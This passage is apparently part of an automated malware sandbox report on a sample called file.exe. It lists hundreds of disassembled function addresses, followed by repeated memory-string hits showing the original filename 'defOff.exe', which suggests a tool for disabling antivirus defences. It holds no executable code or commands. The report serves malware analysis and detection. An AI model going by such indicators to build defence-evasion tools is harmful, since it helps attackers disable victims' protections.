Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665BC53	4_2_0665BC53
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662DC5A	4_2_0662DC5A
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665C45C	4_2_0665C45C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661AC29	4_2_0661AC29
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661A42E	4_2_0661A42E
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06634C30	4_2_06634C30
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661F43B	4_2_0661F43B
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0666040E	4_2_0666040E
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665E417	4_2_0665E417
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066244E0	4_2_066244E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06627CE9	4_2_06627CE9
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663C4EE	4_2_0663C4EE
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0666E4F6	4_2_0666E4F6
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663BCF1	4_2_0663BCF1
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06624CD3	4_2_06624CD3
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663A4D5	4_2_0663A4D5
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066194D6	4_2_066194D6
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06669CD9	4_2_06669CD9
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066654B2	4_2_066654B2
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06657CBE	4_2_06657CBE
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663248B	4_2_0663248B
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06661C8A	4_2_06661C8A
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06663492	4_2_06663492
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665A49A	4_2_0665A49A
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06650D65	4_2_06650D65
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665E57C	4_2_0665E57C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661857B	4_2_0661857B
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06648D45	4_2_06648D45
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665F544	4_2_0665F544
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0666BD44	4_2_0666BD44
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06628D53	4_2_06628D53
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06626557	4_2_06626557
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665DD5C	4_2_0665DD5C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661DD5C	4_2_0661DD5C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662955C	4_2_0662955C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06667D26	4_2_06667D26
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663F525	4_2_0663F525
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662CD2B	4_2_0662CD2B
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06642D36	4_2_06642D36
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0666CD30	4_2_0666CD30
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0666ED01	4_2_0666ED01
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06640515	4_2_06640515
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06645516	4_2_06645516
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06652519	4_2_06652519
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662BDE6	4_2_0662BDE6
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664E5EC	4_2_0664E5EC
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06626DF3	4_2_06626DF3
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662B5D1	4_2_0662B5D1
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066665DC	4_2_066665DC
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066435D8	4_2_066435D8
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06660DDA	4_2_06660DDA
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066555A5	4_2_066555A5
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066725A0	4_2_066725A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06655DAD	4_2_06655DAD
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06652DAE	4_2_06652DAE
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662F5AF	4_2_0662F5AF
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06654DB2	4_2_06654DB2
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0666A586	4_2_0666A586
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665FD94	4_2_0665FD94
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06662597	4_2_06662597
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06617A66	4_2_06617A66
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06668A6F	4_2_06668A6F
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06636274	4_2_06636274
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662524F	4_2_0662524F
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664FA49	4_2_0664FA49
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06619A57	4_2_06619A57
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06648A52	4_2_06648A52
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06643231	4_2_06643231
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06646A3E	4_2_06646A3E
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06672203	4_2_06672203
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066372EF	4_2_066372EF
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066662EA	4_2_066662EA
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06673AF5	4_2_06673AF5
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665C2F3	4_2_0665C2F3
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066712C6	4_2_066712C6
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664DACE	4_2_0664DACE
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662C2A2	4_2_0662C2A2
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066452A1	4_2_066452A1
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066232BE	4_2_066232BE
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06649285	4_2_06649285
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0666B295	4_2_0666B295
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664A29F	4_2_0664A29F
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06671B61	4_2_06671B61
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665636F	4_2_0665636F
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663AB78	4_2_0663AB78
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06645B5C	4_2_06645B5C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06644B5E	4_2_06644B5E
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662A325	4_2_0662A325
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665CB29	4_2_0665CB29
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06654328	4_2_06654328
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661BB04	4_2_0661BB04
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06673309	4_2_06673309
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664730B	4_2_0664730B
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663BB13	4_2_0663BB13
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06654B14	4_2_06654B14
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662AB10	4_2_0662AB10
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06622BE8	4_2_06622BE8
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06616BF7	4_2_06616BF7
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066583C4	4_2_066583C4
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661FBC2	4_2_0661FBC2
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066413CC	4_2_066413CC
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066443C8	4_2_066443C8
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06651BC9	4_2_06651BC9
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664CBD6	4_2_0664CBD6
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06647BA6	4_2_06647BA6
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662E3A6	4_2_0662E3A6
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662FBA4	4_2_0662FBA4
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662EBA8	4_2_0662EBA8
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663E381	4_2_0663E381
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06620387	4_2_06620387
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664C382	4_2_0664C382
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662238F	4_2_0662238F
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664EB97	4_2_0664EB97
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06623B96	4_2_06623B96
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06661399	4_2_06661399
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06624860	4_2_06624860
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663B06A	4_2_0663B06A
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0666C071	4_2_0666C071
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665C87F	4_2_0665C87F
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664F04C	4_2_0664F04C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0666D84E	4_2_0666D84E
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665204C	4_2_0665204C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06648055	4_2_06648055
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664085F	4_2_0664085F
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665785B	4_2_0665785B
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06664822	4_2_06664822
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661C838	4_2_0661C838
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06669804	4_2_06669804
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661C004	4_2_0661C004
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06641801	4_2_06641801
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06642001	4_2_06642001
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661D00C	4_2_0661D00C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665E0ED	4_2_0665E0ED
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066348EA	4_2_066348EA
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066260D5	4_2_066260D5
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066680D1	4_2_066680D1
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664C0A9	4_2_0664C0A9
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066540BF	4_2_066540BF
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664B882	4_2_0664B882
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664E095	4_2_0664E095
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06658091	4_2_06658091
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06618961	4_2_06618961
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665B967	4_2_0665B967
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06659960	4_2_06659960
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06615967	4_2_06615967
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663C16E	4_2_0663C16E
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662F175	4_2_0662F175
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663F95C	4_2_0663F95C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663D126	4_2_0663D126
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661F92B	4_2_0661F92B
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663592C	4_2_0663592C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0666E93E	4_2_0666E93E
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665D93C	4_2_0665D93C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663293E	4_2_0663293E
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662910A	4_2_0662910A
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661D9F3	4_2_0661D9F3
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066319F1	4_2_066319F1
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661E9F5	4_2_0661E9F5
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066499FA	4_2_066499FA
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663E9D8	4_2_0663E9D8
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663D9AB	4_2_0663D9AB
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066389AE	4_2_066389AE
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663F1AC	4_2_0663F1AC
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066531AA	4_2_066531AA
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066641B4	4_2_066641B4
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066281B4	4_2_066281B4
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066371BE	4_2_066371BE
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06642187	4_2_06642187
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663C987	4_2_0663C987
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06627187	4_2_06627187
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06651180	4_2_06651180
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662B994	4_2_0662B994
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662D194	4_2_0662D194
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06642999	4_2_06642999

Source: file.exe, 00000004.00000003.1810398615.0000000006239000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1807417078.0000000005D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1820720438.0000000006341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1807588711.0000000005D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1812684681.0000000006183000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1813355269.0000000006196000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1810610027.0000000006176000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1815819943.00000000062C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1807676524.00000000060A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1820581340.00000000061F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1856279549.000000000150B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1936169683.000000000150B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000002.1950511940.0000000006359000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1807503694.00000000060AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1817575784.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1809399028.0000000006211000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1816123148.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1817969166.00000000060A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1808703128.00000000060A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1812807165.0000000006271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1814322550.00000000061A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1936169683.00000000014FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1819995581.00000000061EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000002.1941635347.000000000150B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1805924054.00000000060A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1808610153.000000000615B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1816953646.00000000061B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1814755577.00000000060B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1808288612.00000000061F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1809586053.0000000006155000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1809302194.000000000615D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1815649841.00000000061AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1818338026.00000000060A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1810197999.00000000060AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1809681928.00000000060A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1811225531.00000000060AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1808886732.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1817747729.00000000061C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1810932701.0000000006251000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1814599346.00000000061AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1807761207.0000000006146000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1809781779.000000000615A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1815986142.00000000060AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1813043885.000000000619C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1814480787.00000000060AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1820865475.00000000060A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1813160019.00000000060A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1819282092.000000000630E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1808114854.00000000060A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1819716225.0000000006317000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1817269451.00000000060AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1808205293.0000000006149000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1816815849.00000000060A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1821304978.00000000061EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1821465971.000000000633C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1813991322.0000000006290000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1820141162.00000000060AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1810297545.0000000006170000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1813529780.0000000006291000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1813683183.00000000060AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1820289064.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1811446142.000000000624F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1810098135.000000000616E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1814139180.00000000060B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1812347059.000000000618C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1807851323.00000000060A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1819140110.00000000061D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1805844763.0000000005D0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1817418368.00000000061CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1813830406.0000000006195000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1812931862.00000000060B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1807942258.0000000006150000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1816261934.00000000060AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1805765118.0000000005EA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1812199911.00000000060AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1818122393.00000000061CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1808795326.0000000006160000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1817095998.00000000062D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1816422233.00000000061B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1810720397.00000000060A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1814918087.00000000061A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1819425081.00000000060A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1816679840.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1807321337.0000000006141000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1809892339.000000000621F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1815487832.00000000060A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1811554340.00000000060A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1811677537.0000000006174000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
